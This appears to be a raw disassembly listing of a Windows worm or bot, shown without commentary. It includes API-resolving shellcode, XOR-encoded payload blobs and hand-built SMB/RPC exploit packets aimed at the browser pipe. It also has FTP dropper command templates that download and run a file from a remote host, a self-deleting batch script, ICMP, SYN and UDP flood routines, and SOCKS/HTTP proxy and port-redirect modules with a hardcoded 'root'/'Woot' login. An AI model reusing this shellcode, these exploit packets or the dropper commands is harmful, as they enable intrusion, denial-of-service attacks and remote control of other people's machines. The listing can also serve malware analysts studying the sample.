loc_445AA0: ; CODE XREF: sub_445A8A+33j
jecxz short loc_445ADA
dec ecx
mov esi, [ebx+ecx*4]
add esi, ebp
xor edi, edi
xor eax, eax
cld
loc_445AAD: ; CODE XREF: sub_445A8A+2Dj
lodsb
cmp al, ah
jz short loc_445AB9
ror edi, 0Dh
add edi, eax
jmp short loc_445AAD
; ---------------------------------------------------------------------------
loc_445AB9: ; CODE XREF: sub_445A8A+26j
cmp edi, [esp+20h+arg_0]
jnz short loc_445AA0
mov ebx, [edx+24h]
add ebx, ebp
mov cx, [ebx+ecx*2]
mov ebx, [edx+1Ch]
add ebx, ebp
mov eax, [ebx+ecx*4]
add eax, ebp
mov [esp+20h+var_4], eax
popa
retn 8
; ---------------------------------------------------------------------------
loc_445ADA: ; CODE XREF: sub_445A8A:loc_445AA0j
; sub_445A8A:loc_445ADAj
jmp short loc_445ADA
sub_445A8A endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_445AE0 proc near ; DATA XREF: sub_425100+1Eo
arg_0 = dword ptr 4
add esp, 0FFFFF254h
cld
call sub_445B32
mov eax, [ebp+3Ch]
mov edi, [ebp+eax+78h]
add edi, ebp
mov ecx, [edi+18h]
mov ebx, [edi+20h]
add ebx, ebp
loc_445AFD: ; CODE XREF: sub_445AE0+38j
jecxz short loc_445B2D
dec ecx
mov esi, [ebx+ecx*4]
add esi, ebp
xor eax, eax
cdq
loc_445B08: ; CODE XREF: sub_445AE0+32j
lodsb
test al, al
jz short loc_445B14
ror edx, 0Dh
add edx, eax
jmp short loc_445B08
; ---------------------------------------------------------------------------
loc_445B14: ; CODE XREF: sub_445AE0+2Bj
cmp edx, [esp+arg_0]
jnz short loc_445AFD
mov ebx, [edi+24h]
add ebx, ebp
mov cx, [ebx+ecx*2]
mov ebx, [edi+1Ch]
add ebx, ebp
mov ebx, [ebx+ecx*4]
add ebx, ebp
loc_445B2D: ; CODE XREF: sub_445AE0:loc_445AFDj
mov [esp+arg_0], ebx
retn
sub_445AE0 endp
; =============== S U B R O U T I N E =======================================
sub_445B32 proc near ; CODE XREF: sub_445AE0+7p
; FUNCTION CHUNK AT 00445B6A SIZE 00000005 BYTES
xor eax, eax
mov eax, fs:[eax+30h]
test eax, eax
js short loc_445B4B
mov eax, [eax+0Ch]
mov esi, [eax+1Ch]
lodsd
mov ebp, [eax+8]
jmp loc_445B56
; ---------------------------------------------------------------------------
loc_445B4B: ; CODE XREF: sub_445B32+8j
mov eax, [eax+34h]
add eax, 7Ch
mov ebp, [eax+3Ch]
loc_445B56: ; CODE XREF: sub_445B32+14j
pop edi
xor esi, esi
pusha
push esi
jmp short loc_445B6A
sub_445B32 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_445B5D proc near ; CODE XREF: sub_445B32:loc_445B6Ap
push 60E0CEEFh
push 0E8AFE98h
push edi
jmp edi
sub_445B5D endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_445B32
loc_445B6A: ; CODE XREF: sub_445B32+29j
call sub_445B5D
; END OF FUNCTION CHUNK FOR sub_445B32
; ---------------------------------------------------------------------------
db 0
dd 25h dup(0)
dword_445C04 dd 23h dword_445C08 dd 60h dword_445C0C dd 62B0606h, 2050501h, 0A0hdword_445C18 dd 0A1h dword_445C1C dd 3 aCccc db 'CCCC',0 ; DATA XREF: sub_424920+16Do
align 4
loc_445C28: ; DATA XREF: sub_424920+100o
jmp short near ptr dword_445C30
; ---------------------------------------------------------------------------
align 10h
dword_445C30 dd 0 aCmdCEchoOpenSD db 'cmd /c echo open %s %d >> ii &echo user a a >> ii &echo binary >>'
; DATA XREF: sub_425100+60o
db ' ii &echo get %s >> ii &echo bye >> ii &ftp -n -v -s:ii &del ii &'
db '%s',0Dh,0Ah,0
align 4
dd 7 dup(0)
; ---------------------------------------------------------------------------
jmp short loc_445CEA
; =============== S U B R O U T I N E =======================================
sub_445CDA proc far ; CODE XREF: sub_445CDA:loc_445CEAp
pop ebx
dec ebx
xor ecx, ecx
mov cx, 125h
loc_445CE2: ; CODE XREF: sub_445CDA+Cj
xor byte ptr [ebx+ecx], 99h
loop loc_445CE2
jmp short loc_445CEF
; ---------------------------------------------------------------------------
loc_445CEA: ; CODE XREF: ___:00445CD8j
call near ptr sub_445CDA
loc_445CEF: ; CODE XREF: sub_445CDA+Ej
jo short loc_445D53
cdq
cdq
cdq
mov ch, 38h
test eax, 12999999h
fst dword ptr [ebp+3485E912h]
adc dh, cl
xchg eax, ecx
adc ch, [esi-0Dh]
popf
sal byte ptr [ecx+2], 99h
cdq
cdq
jnp short loc_445D71
icebp
stosb
stosd
cdq
cdq
icebp
out dx, al
jmp far ptr 128Fh:66CDC6ABh
; ---------------------------------------------------------------------------
db 71h
dd 71C09DF3h, 9999991Bh, 7518607Bh, 99999809h, 9898F1CDh
dd 0CF669999h, 0C9C9C989h, 0D9C9D9C9h, 8DCF66C9h, 0E6F14112h
dd 0F1989999h, 4B9D999Bh
; ---------------------------------------------------------------------------
adc dl, [ebp-0Dh]
loc_445D53: ; CODE XREF: sub_445CDA:loc_445CEFj
mov eax, ecx
retf 0CF66h
; ---------------------------------------------------------------------------
dd 0EC591C81h, 0F4FAF1D3h, 0FF1099FDh, 0CD751AA9h, 0F3BDA514h
dd 7B32C08Ch
db 64h
; ---------------------------------------------------------------------------
loc_445D71: ; CODE XREF: sub_445CDA+35j
pop edi
fnstsw word ptr [ebp-22982277h]
mov ebp, 0BDC510A4h
rcl dword ptr [eax], 1
lds edi, [ebp-423AEF2Bh]
leave
adc al, 0DDh
mov ebp, 0C8C9CD89h
enter 0FFFFF3C8h, 98h
enter 66C8h, 0EFh
test eax, 9DCF66C8h
adc dl, [ebp-0Dh]
db 66h, 66h
test al, 66h
iret
sub_445CDA endp ; sp-analysis failed
; ---------------------------------------------------------------------------
xchg eax, ecx
retf 0CF66h
; ---------------------------------------------------------------------------
dw 6685h
dd 0CFC895CFh, 12A5DC12h, 9AE1B1CDh, 0EB12CB4Ch, 0AA6C9AB9h
dd 34D8D050h, 42AA5C9Ah, 0A3892796h, 5891ED4Fh, 439A9452h
dd 0A26872D9h, 0C37EEC86h, 9ABDC312h, 9512FF44h, 85C312D2h
dd 9D12449Ah, 325C9A12h, 715AC0C7h, 66666699h, 7597D717h
dd 8F2A67EBh, 579C4034h, 0F9795776h, 0A2657452h, 346C9040h
dd 0F9336075h, 0E05FE07Eh, 0
; ---------------------------------------------------------------------------
loc_445E18: ; DATA XREF: sub_4257F0+12Bo
; sub_4257F0+135o ...
jmp short loc_445E2A
; =============== S U B R O U T I N E =======================================
sub_445E1A proc near ; CODE XREF: sub_445E1A:loc_445E2Ap
pop edx
dec edx
xor ecx, ecx
mov cx, 17Dh
loc_445E22: ; CODE XREF: sub_445E1A+Cj
xor byte ptr [edx+ecx], 99h
loop loc_445E22
jmp short loc_445E2F
; ---------------------------------------------------------------------------
loc_445E2A: ; CODE XREF: ___:loc_445E18j
call sub_445E1A
loc_445E2F: ; CODE XREF: sub_445E1A+Ej
jo short near ptr dword_445DA8+1Eh
cwde
cdq
cdq
retn
sub_445E1A endp ; sp-analysis failed
; ---------------------------------------------------------------------------
db 0FDh, 38h, 0A9h
dd 12999999h, 0E91295D9h, 0D9123485h, 12411291h, 0ED12A5EAh
dd 6A9AE187h, 9AB9E712h, 8DD71262h, 0CECF74AAh, 9AA612C8h
dd 0F36B1262h, 3F6AC097h, 0C6C091EDh, 0DC9D5E1Ah, 0C6C0707Bh
dd 125412C7h, 5A9ABDDFh, 589A7848h, 12FF50AAh, 85DF1291h
dd 78585A9Ah, 12589A9Bh, 125A9A99h, 1A6E1263h, 4912975Fh
dd 71C09AF3h, 9999991Eh, 0CB945F1Ah, 65CE66CFh, 0F34112C3h
dd 0ED71C09Ch, 0C9999999h, 0F3C9C9C9h, 669BF398h, 411275CEh
dd 999B9E5Eh
word_445EC8 dw 4B9Dh ; DATA XREF: sub_4257F0+105w
dw 59AAh
dd 0F39DDE10h, 66CACE89h, 98F369CEh, 6DCE66CAh, 66CAC9C9h
dd 491261CEh, 12DD751Ah, 0F359AA6Dh, 9D10C089h, 10627B17h
dd 0CF10A1CFh, 0D9CF10A5h, 0B5DF5EFFh, 0DE149898h, 0AACFC989h
dd 0C8C8C850h, 0C8C898F3h, 0FAA5DE5Eh, 1499FDF4h, 0C8C9A5DEh
dd 0CB79CE66h, 0CA65CE66h, 0C965CE66h, 0AA7DCE66h, 591C3559h
dd 0CBC860ECh, 4B66CACFh, 7B32C0C3h, 5A59AA77h, 66677671h
dd 0EDFCDE66h, 0FAF6EBC9h, 0EBFDFDD8h, 99EAEAFCh, 0F8FCEBDAh
dd 0EBC9FCEDh, 0EAFCFAF6h, 0DC99D8EAh, 0CDEDF0E1h, 0F8FCEBF1h
dd 0F6D599FDh, 0F0D5FDF8h, 0EBF8EBFBh, 0EE99D8E0h, 0AAC6ABEAh
dd 0CACE99ABh, 0FAF6CAD8h, 0D8EDFCF2h, 0F7F0FB99h, 0F0F599FDh
dd 0F7FCEDEAh, 0FAFAF899h, 99EDE9FCh, 0EAF6F5FAh, 0FAF6EAFCh
dd 99EDFCF2h, 0
dword_445FB0 dd 85000000h, 424D53FFh, 72h, 0C8531800h, 3 dup(0)
; DATA XREF: ___:00425E52o
dd 0FEFF0000h, 0
dd 2006200h
aPcNetworkPro_0 db 'PC NETWORK PROGRAM 1.0',0
db 2
db 4Ch ; L
db 41h, 4Eh, 4Dh
db 41h ; A
db 4Eh, 31h, 2Eh
db 30h ; 0
align 2
dw 5702h
aIndowsForWor_0 db 'indows for Workgroups 3.1a',0
db 2
dd 2E314D4Ch, 30305832h, 4C020032h, 414D4E41h, 312E324Eh
dd 544E0200h, 204D4C20h, 32312E30h, 0
dword_44603C dd 0A4000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0)
; DATA XREF: ___:00425E87o
dd 0FEFF0000h, 100000h, 0A400FF0Ch, 0A110400h, 0
dd 20000000h, 0
dd 0D400h, 4E006980h, 534D4C54h, 1005053h, 97000000h, 0E00882h
dd 4 dup(0)
aWindows2000219:
unicode 0, <Windows 2000 2195>,0
aWindows20005_0:
unicode 0, <Windows 2000 5.0>,0
align 8
dword_4460E8 dd 0DA000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0)
; DATA XREF: ___:00425EB6o
dd 0FEFF0000h, 200800h, 0DA00FF0Ch, 0A110400h, 0
dd 57000000h, 0
dd 0D400h, 4E009F80h, 534D4C54h, 3005053h, 1000000h, 46000100h
dd 0
dd 47000000h, 0
dd 40000000h, 0
dd 40000000h, 6000000h, 40000600h, 10000000h, 47001000h
dd 15000000h, 48E0888Ah, 44004F00h, 19810000h, 0E4F27A6Ah
dd 0AF281C49h, 10742530h, 575367h, 6E0069h, 6F0064h, 730077h
dd 320020h, 300030h, 200030h, 310032h, 350039h, 570000h
dd 6E0069h, 6F0064h, 730077h, 320020h, 300030h, 200030h
dd 2E0035h, 30h, 0
dword_4461C8 dd 5C000000h, 424D53FFh, 75h, 0C8071800h, 3 dup(0)
; DATA XREF: sub_4257F0+5Do
dd 0FEFF0000h, 300800h, 5C00FF04h, 1000800h, 3100h, 5C005Ch
dd 390031h, 2E0032h, 360031h, 2E0038h, 2E0031h, 310032h
dd 5C0030h, 500049h
db 43h, 0, 24h
dword_44621F dd 3F000000h dword_446223 dd 3F3F3F3Fh byte_446227 db 0 ; DATA XREF: sub_4257F0+B4r
dd 0
dword_44622C dd 64000000h, 424D53FFh, 0A2h, 0C8071800h, 3 dup(0)
; DATA XREF: sub_4257F0+2C2o
dd 4DC0800h, 400800h, 0DE00FF18h, 0E00DEh, 16h, 0
dd 2019Fh, 3 dup(0)
dd 3, 1, 40h, 2, 1103h, 6C005Ch, 610073h, 700072h, 63h
dd 0
dword_446298 dd 9C000000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0)
; DATA XREF: sub_4257F0+2F5o
dd 4DC0800h, 500800h, 48000010h, 0
dd 4, 2 dup(0)
dd 48005400h, 2005400h, 2600h, 10005940h, 50005Ch, 500049h
dd 5C0045h, 0
dd 30B0005h, 10h, 48h, 1, 10B810B8h, 0
dd 1, 10000h, 3919286Ah, 11D0B10Ch, 0C000A89Bh, 0F52ED94Fh
dd 0
dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0
dword_44633C dd 0F40C0000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0)
; DATA XREF: sub_4257F0+3FAo
dd 4DC0800h, 600800h, 0A0000010h, 0Ch, 4, 2 dup(0)
dd 0A0005400h, 200540Ch, 2600h, 100CB140h, 50005Ch, 500049h
dd 5C0045h, 0
dd 3000005h, 10h, 0CA0h, 1, 0C88h, 90000h, 3ECh, 0
dd 3ECh, 0
off_4463BC dd offset sub_401492+3 ; DATA XREF: sub_4257F0+42Bo
dd 3, 40707Ch, 1, 0
dd 1, 0
dd 1, 0
dd 1, 0
dd 1, 0
dd 1, 0
dd 1, 0
dd 1, 0
dd offset byte_406FB0+0CCh
dd 1, 0
dd 1, 0
dd offset byte_406FB0+0CCh
dd 1, 0
dd 1, 0
dd offset byte_406FB0+0CCh
dd 1, 0
dd 1, 0
dd 138578h, 0E9A65BABh, 0
dword_446450 dd 0F8100000h, 424D53FFh, 2Fh, 0C8071800h, 3 dup(0)
; DATA XREF: sub_4257F0+335o
dd 0FEFF0800h, 600800h, 0DE00FF0Eh, 4000DEh, 0FF000000h
dd 8FFFFFFh, 10B800h, 4010B800h, 0
dd 0EE10B900h, 1000005h, 10h, 10B8h, 1, 200Ch, 90000h
dd 0DADh, 0
dd 0DADh, 0
dword_4464BC dd 0D80F0000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0)
; DATA XREF: sub_4257F0+368o
dd 1180800h, 700800h, 84000010h, 0Fh, 4, 2 dup(0)
dd 84005400h, 200540Fh, 2600h, 0F9540h, 50005Ch, 500049h
dd 5C0045h, 0
dd 2000005h, 10h, 0F84h, 1, 0F6Ch, 90000h, 0
dword_446530 dd 0 dd offset loc_40A898+2
dd 1, 0
dd 1, 0
dd 1, 0
dd 1, 0
dd 1, 0
dd 1, 0
dd 1, 0
dd 1, 0
dd offset loc_40A898+2
dd 1, 0
dd 1, 0
dd offset loc_40A898+2
dd 1, 0
dd 1, 0
dd offset loc_40A898+2
dd 1, 0
dd 1, 3 dup(0)
dword_4465BC dd 1004600h ; sub_4257F0+24Fr
dd 1, 7515123Ch, 2, 751C123Ch, 75h dup(0)
dword_4467A4 dd 61622E63h, 0A0D74h, 0aEchoExitYC_bat db 'echo exit /y >>c.bat',0Dh,0Ah,0 ; DATA XREF: sub_4253C0+2A0o
align 4
dd 0
aEchoDelFC_batC db 'echo del /F c.bat >>c.bat',0Dh,0Ah,0 ; DATA XREF: sub_4253C0+277o
align 10h
aEchoDel_pifC_b db 'echo del .pif >>c.bat',0Dh,0Ah,0 ; DATA XREF: sub_4253C0+24Eo
dd 0
aEchoSC_bat db 'echo %s >>c.bat',0Dh,0Ah,0 ; DATA XREF: sub_4253C0+221o
align 10h
dd 0
aEchoFtpNVS_pif db 'echo ftp -n -v -s:.pif >>c.bat',0Dh,0Ah,0 ; DATA XREF: sub_4253C0+1E9o
align 4
dd 0
aEcho@echoOffC_ db 'echo @echo off >c.bat',0Dh,0Ah,0 ; DATA XREF: sub_4253C0+1BCo
align 8
aEchoBye_pif db 'echo bye>>.pif ',0Dh,0Ah,0 ; DATA XREF: sub_4253C0+18Fo
align 10h
aEchoGetS_pif db 'echo GET %s>>.pif ',0Dh,0Ah,0 ; DATA XREF: sub_4253C0+162o
align 4
dd 0
aEchoBinary_pif db 'echo binary>>.pif ',0Dh,0Ah,0 ; DATA XREF: sub_4253C0+12Ao
align 8
aEchoUserAA_pif db 'echo user a a>>.pif ',0Dh,0Ah,0 ; DATA XREF: sub_4253C0+FDo
align 10h
dd 0
aEchoOpenSD_pif db 'echo open %s %d>.pif ',0Dh,0Ah,0 ; DATA XREF: sub_4253C0+D0o
align 10h
dword_4468F0 dd 6EB06EBh align 8
dword_4468F8 dd 73255C5Ch, 6370695Ch, 24h ; ___:00426352o
dword_446904 dd 1CEC8166h dword_446908 dd 0E4FF07h align 10h
dword_446910 dd 30B0005h, 10h, 48h, 0 dd 16D016D0h, 0
dd 1, 10000h, 4B324FC8h, 1D31670h, 475A7812h, 88E16EBFh
dd 3, 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0
dword_44695C dd 3000005h, 10h, 830h, 0 dd 818h, 1F0000h, 0FFFFFFFFh, 1, 0
dd 1, 2 dup(0)
dword_44698C dd 0FAh, 2, 0 dd 2, 0
dd 0FAh, 2 dup(0)
dword_4469AC dd 0D959516Ah, 2474D9EEh db 0F4h, 5Bh
; ---------------------------------------------------------------------------
loc_4469B6: ; CODE XREF: ___:004469C0j
xor dword ptr [ebx+13h], 889097A8h
sub ebx, 0FFFFFFFCh
loop loc_4469B6
sub [ebx+6Fh], edx
db 67h
push edi
push 7CC274D4h
frstor byte ptr [eax+51h]
push 1CC8776Fh
cld
lodsb
mov word ptr ds:95EB23B4h[edx*8], ds
; ---------------------------------------------------------------------------
db 0F0h, 0A9h, 78h
dd 1CB0C71Bh, 7CA9A8CFh, 1C9C03D9h, 57996691h, 572C2409h
dd 5D698FE4h, 7C6A899Dh, 0B3FCB364h, 1C4DFDB8h, 7CA9ACCFh
dd 0DCA403F6h, 96B4D71Bh, 1C848B7Bh, 8B8CE419h, 4C994BF1h
dd 0A7EB03F4h, 1CA4C81Bh, 1C0594E0h, 0FFF680D0h, 7BA6C61Eh
dd 0F17E77C0h, 0A4C0EEC3h, 0E4DFE0A2h, 68FCD7A2h, 7A63E040h
dd 68F8B36Ch, 7221D746h, 9F4509F6h, 95C2DD92h, 4EC0586Fh
dd 0C0057D99h, 0C4FB5E6Fh, 0D4FBDBC3h, 68FBCBC3h, 86C0EE40h
dd 1EFBEECCh, 33C01D71h, 0C06FF88Ah, 87C25E6Fh, 4757DDC1h
dd 0B9052CF8h, 4157DF79h, 4757DDC3h, 11E16DF8h, 4157DFD9h
dd 0C2FCDCC0h, 0FF3B586Fh, 0EE6EF177h, 0C27E77C7h, 0FDCE586Fh
dd 0F4C0EEF4h, 0FD4D01FDh, 5B81D1C0h, 0D3C26F19h, 57996A19h
dd 0D5562263h, 0BBEA76BDh, 0AFD20503h, 0FF03233Bh, 811B76E2h
dd 68ECFD6Fh, 0C5FFD346h, 0FDF9D9C1h, 0C2F9D991h, 0FF7877C1h
dd 59AD513Dh, 0FD7E77C3h, 689F776Fh, 6BFF0340h, 68CC4C13h
dd 4757DA46h, 776667F8h, 4157DBF0h, 586Fh, 19h dup(0)
aOpenSDIiEchoUs db 'open %s %d >> ii &echo user a a >> ii &echo binary >> ii &echo ge'
; DATA XREF: sub_426070+D6o
db 't %s >> ii &echo bye >> ii &ftp -n -v -s:ii &del ii &%s',0Dh,0Ah,0
align 4
dd 6 dup(0)
aSPipeBrowser db '\\%s\pipe\browser',0 ; DATA XREF: ___:004263B4o
align 8
word_446C18 dw 2EBh ; DATA XREF: ___:00426331r
align 4
dword_446C1C dd 215h dd 0
dword_446C24 dd 20804h dd 0
; ---------------------------------------------------------------------------
loc_446C2C: ; DATA XREF: sub_4267D0+CCo
jmp short loc_446C30
; ---------------------------------------------------------------------------
loc_446C2E: ; CODE XREF: ___:loc_446C30p
jmp short loc_446C35
; ---------------------------------------------------------------------------
loc_446C30: ; CODE XREF: ___:loc_446C2Cj
call loc_446C2E
loc_446C35: ; CODE XREF: ___:loc_446C2Ej
pop ebx
xor ecx, ecx
; ---------------------------------------------------------------------------
db 66h, 0B9h
word_446C3A dw 0FFFFh ; DATA XREF: sub_4267D0+D3w
db 80h, 73h, 0Eh
byte_446C3F db 0FFh ; DATA XREF: sub_4267D0+DAw
dd 0F9E243h
; ---------------------------------------------------------------------------
loc_446C44: ; DATA XREF: sub_4267D0+A7o
jmp short loc_446C48
; ---------------------------------------------------------------------------
loc_446C46: ; CODE XREF: ___:loc_446C48p
jmp short loc_446C4D
; ---------------------------------------------------------------------------
loc_446C48: ; CODE XREF: ___:loc_446C44j
call loc_446C46
loc_446C4D: ; CODE XREF: ___:loc_446C46j
pop ebx
xor ecx, ecx
; ---------------------------------------------------------------------------
db 0B1h
byte_446C51 db 0FFh ; DATA XREF: sub_4267D0+AEw
dw 7380h
db 0Ch
byte_446C55 db 0FFh ; DATA XREF: sub_4267D0+B4w
dw 0E243h
dd 0F9h
dword_446C5C dd 364C033h, 0C783040h, 8B0C408Bh, 8BAD1C70h, 9EB0840h
; DATA XREF: sub_426560+43o
dd 8D34408Bh, 408B7C40h, 3D08B3Ch, 0CA8B3C40h, 8B784803h
dd 0DA8B2041h, 331C5903h, 57F633FFh, 3CA8B57h, 7981100Ch
dd 7373650Ah, 8B027541h, 3798133h, 72685474h, 3B8B0275h
dd 8304C083h, 0F68504C3h, 0FF85DB74h, 0F203D774h, 0E857FA03h
dword_446CC0 dd 12h dd 70746674h, 6578652Eh, 20692D20h
dword_446CD0 dd 74656720h byte_446CD4 db 20h ; DATA XREF: sub_426560+A2r
dword_446CD5 dd 0E8006A00h dword_446CD9 dd 17h ; sub_426560+D2r
dword_446CDD dd 0E8C30175h dword_446CE1 dd 1 ; sub_426560+E7r
byte_446CE5 db 0, 6Ah, 0 ; DATA XREF: sub_426560+110o
dd 7E8h
db 0, 0Fh, 84h
dword_446CEF dd 0FFFFFFEDh ; ---------------------------------------------------------------------------
retn
; ---------------------------------------------------------------------------
pop eax
pop ebx
pop ebp
push eax
sub esp, 54h
xor eax, eax
mov edi, esp
lea ecx, [eax+40h]
mov edx, edi
rep stosb
mov al, 44h
stosd
push edi
push edx
push ecx
push ecx
push 28h
push 1
push ecx
push ecx
push ebp
push ebx
call esi ; free
add esp, 54h
test eax, eax
retn
; ---------------------------------------------------------------------------
align 10h
dd 0Ch dup(0)
aPing db 'ping',0 ; DATA XREF: sub_427740+22o
align 4
aSCannotSendPin db '[%s] Cannot send pings - Doesn',27h,'t have DLLs',0
; DATA XREF: sub_427990+D0o
align 4
dd 2 dup(0)
aSFinishedFlood db '[%s] Finished flooding %s %d Times',0 ; DATA XREF: sub_427990+B4o
align 10h
dd 2 dup(0)
aSSUtimesUbytes db '%s: %s (%utimes/%ubytes/%dms)',0 ; DATA XREF: sub_427990+43o
align 4
dd 0
aIcmpsendecho db 'IcmpSendEcho',0 ; DATA XREF: sub_427B10+38o
align 4
aIcmpclosehandl db 'IcmpCloseHandle',0 ; DATA XREF: sub_427B10+2Bo
align 10h
aIcmpcreatefile db 'IcmpCreateFile',0 ; DATA XREF: sub_427B10+23o
align 10h
dd 0
aIcmp_dll db 'ICMP.DLL',0 ; DATA XREF: sub_427B10+Co
align 10h
aForsyn db 'forsyn',0 ; DATA XREF: sub_427C90+22o
align 4
aSAttack@SDDone db '%s: attack@%s:%d done.',0 ; DATA XREF: sub_427D50+195o
align 10h
dd 0
aSErrorCreating db '%s: error creating threads',0 ; DATA XREF: sub_427D50+143o
align 10h
dd 0
aSSUDseconds db '%s: %s:%u (%dseconds)',0 ; DATA XREF: sub_427D50+D3o
align 10h
aSyn db 'syn',0 ; DATA XREF: sub_4281A0+22o
aSSDIkbSec db '%s: %s:%d (%ikb/sec)',0 ; DATA XREF: ___:00428321o
align 10h
aSSUUsecDms db '%s: %s:%u (%usec/%dms)',0 ; DATA XREF: sub_428260+43o
align 4
dd 0
aUdp db 'udp',0 ; DATA XREF: sub_428880+22o
aSSDDone db '%s: %s:%d done',0 ; DATA XREF: sub_428940+C0o
align 10h
dd 0
aSSUUtUbDms db '%s: %s:%u (%ut/%ub/%dms)',0 ; DATA XREF: sub_428940+47o
align 10h
dd 0
off_446EF4 dd offset byte_455247 ; DATA XREF: sub_4290B0+22o
aSFinishedRedir db '[%s] Finished redirect from "%s" to "%s" over "%s".',0
; DATA XREF: sub_429330+AAo
dd 3 dup(0)
aSStartedRedire db '[%s] Started redirect from "%s" to "%s" over "%s".',0
; DATA XREF: sub_429330+33o
align 4
dd 3 dup(0)
aHttp1_0503Se_0 db 'HTTP/1.0 503 Service Unavailable',0Dh,0Ah ; DATA XREF: ___:0042A6B1o
db 'Server: IIS/5.03',0Dh,0Ah
db 'Content-Type: text/html',0Dh,0Ah
db 'Proxy-Connection: close',0Dh,0Ah
db 0Dh,0Ah
db 0Dh,0Ah
db 'Connection to %s:%d has failed',0Ah,0
align 4
dd 7 dup(0)
aHttp1_0503Serv db 'HTTP/1.0 503 Service Unavailable',0Dh,0Ah ; DATA XREF: ___:0042A64Co
db 'Server: IIS/5.03',0Dh,0Ah
db 'Content-Type: text/html',0Dh,0Ah
db 'Proxy-Connection: close',0Dh,0Ah
db 0Dh,0Ah
db 0Dh,0Ah
db 'Error Resolving %s',0Ah,0
align 10h
dd 6 dup(0)
aHttp1_0200Conn db 'HTTP/1.0 200 Connection established',0Dh,0Ah ; DATA XREF: ___:0042A2C2o
db 0Dh,0Ah,0
dd 2 dup(0)
aConnectionClos db 'Connection: Close',0Dh,0Ah,0 ; DATA XREF: ___:loc_42A131o
; ___:0042A147o
align 10h
aConnectionKeep db 'Connection: Keep-Alive',0Dh,0Ah,0 ; DATA XREF: ___:0042A113o
; ___:0042A129o
align 10h
aConnection db 'Connection:',0 ; DATA XREF: ___:00429F54o
align 10h
aChunked db 'chunked',0 ; DATA XREF: ___:00429F11o
dd 0
aTransferEncodi db 'Transfer-Encoding:',0 ; DATA XREF: ___:00429EC5o
align 10h
dd 0
aContentLength db 'Content-Length:',0 ; DATA XREF: ___:00429E2Do
align 8
aSSSConnectionC db '%s %s %s',0Dh,0Ah ; DATA XREF: ___:00429C8Eo
db 'Connection: close',0Dh,0Ah
db '%s',0
align 10h
aSSSConnectionK db '%s %s %s',0Dh,0Ah ; DATA XREF: ___:00429C59o
db 'Connection: Keep-Alive',0Dh,0Ah
db '%s',0
align 4
dd 0
aKeepAlive db 'Keep-Alive',0 ; DATA XREF: ___:loc_429B5Bo
; ___:00429FA0o
align 4
dd 0
aProxyConnectio db 'Proxy-Connection:',0 ; DATA XREF: ___:00429B30o
align 10h
dd 0
asc_4471E4 db 0Dh,0Ah,0 ; DATA XREF: ___:00429A1Co
; ___:00429ADCo ...
align 4
aHttprox db 'HTTPROX',0 ; DATA XREF: ___:004299E7o
dd 0
aConnect db 'connect',0 ; DATA XREF: ___:004297B2o
align 10h
aConnect_0 db 'CONNECT',0 ; DATA XREF: ___:0042977Do
dd 0
off_44720C dd offset byte_544547 ; DATA XREF: ___:004296B8o
aHttp_0 db 'HTTP',0 ; DATA XREF: sub_42ACB0+22o
align 4
aSUnloadedProxy db '[%s] Unloaded proxy on port %d.',0 ; DATA XREF: sub_42AF20+69o
align 10h
aSStartingPro_0 db '[%s] Starting proxy on port %d.',0 ; DATA XREF: sub_42AF20+2Eo
dd 2 dup(0)
aSStartingProxy db '[%s] Starting proxy on %d with SSL.',0 ; DATA XREF: sub_42AF20+21o
dd 2 dup(0)
aSocks4 db 'Socks4',0 ; DATA XREF: sub_42AFF0+22o
; sub_42B380+22o
align 4
aSUnloadedPro_0 db '[%s] Unloaded proxy on %d.',0 ; DATA XREF: sub_42B440+1E1o
align 4
dd 0
aSStartingSocks db '[%s] Starting Socks4 Proxy on port %d.',0 ; DATA XREF: sub_42B440+2Co
align 4
dd 2 dup(0)
dword_4472EC dd 1000005h, 0 dword_4472F4 dd 5, 205h aSFinishedRed_0 db '[%s] Finished redirecting from port %d to "%s:%d".',0
; DATA XREF: sub_42CB70+20Fo
align 10h
dd 3 dup(0)
aSRedirectingFr db '[%s] Redirecting from Port %d to ',27h,'%s:%d',27h,'.',0
; DATA XREF: sub_42CB70+3Fo
align 10h
aSocks5Starting db '[Socks5] Starting Redirect [Port %d :: Login: "%s:%s"].',0
; DATA XREF: ___:0042D725o
dd 3 dup(0)
aRoot db 'root',0 ; DATA XREF: ___:0042D6B1o
align 4
dd offset aWoot ; "Woot"
aWoot db 'Woot',0 ; DATA XREF: ___:004473BCo
align 4
aNetworkFailedT db 'Network failed to start: %d',0Ah,0
align 4
dd 0
aCalloc db 'calloc',0
align 4
aSetsockopt db 'setsockopt',0
align 10h
dd 0
aSocket db 'socket',0
align 4
aGethostbyname db 'gethostbyname',0
align 4
aGetservbyname db 'getservbyname',0
align 4
aTcp db 'tcp',0 ; DATA XREF: sub_42DB00+49o
; sub_42DB00:loc_42DBBDo
aControlSocketR db 'Control socket read failed',0 ; DATA XREF: sub_42DE00:loc_42DE22o
align 10h
aRead db 'read',0 ; DATA XREF: sub_42DF40:loc_42E0DCo
align 4
aPassS db 'PASS %s',0 ; DATA XREF: sub_42E3C0+72o
dd 0
aUserS db 'USER %s',0 ; DATA XREF: sub_42E3C0+3Do
align 10h
aWrite db 'write',0
align 4
aS_0 db '%s',0Ah,0 ; DATA XREF: sub_42E490+3Do
aInvalidOpenTyp db 'Invalid open type %d',0Ah,0 ; DATA XREF: sub_42E5B0+203o
align 8
dword_447498 dd 524F5453h byte_44749C db 0 ; DATA XREF: sub_42E5B0+EDr
align 10h
dword_4474A0 dd 52544552h byte_4474A4 db 0 ; DATA XREF: sub_42E5B0+D3r
align 4
dword_4474A8 dd 5453494Ch byte_4474AC db 0 ; DATA XREF: sub_42E5B0+B8r
align 10h
dword_4474B0 dd 54534C4Eh byte_4474B4 db 0 ; DATA XREF: sub_42E5B0+9Er
align 4
dword_4474B8 dd 45505954h, 632520h, 0 ; ___:0042F9BAo
aMissingPathArg db 'Missing path argument for file transfer',0Ah,0
; DATA XREF: sub_42E5B0+2Do
align 10h
dd 2 dup(0)
aPortDDDDDD db 'PORT %d,%d,%d,%d,%d,%d',0
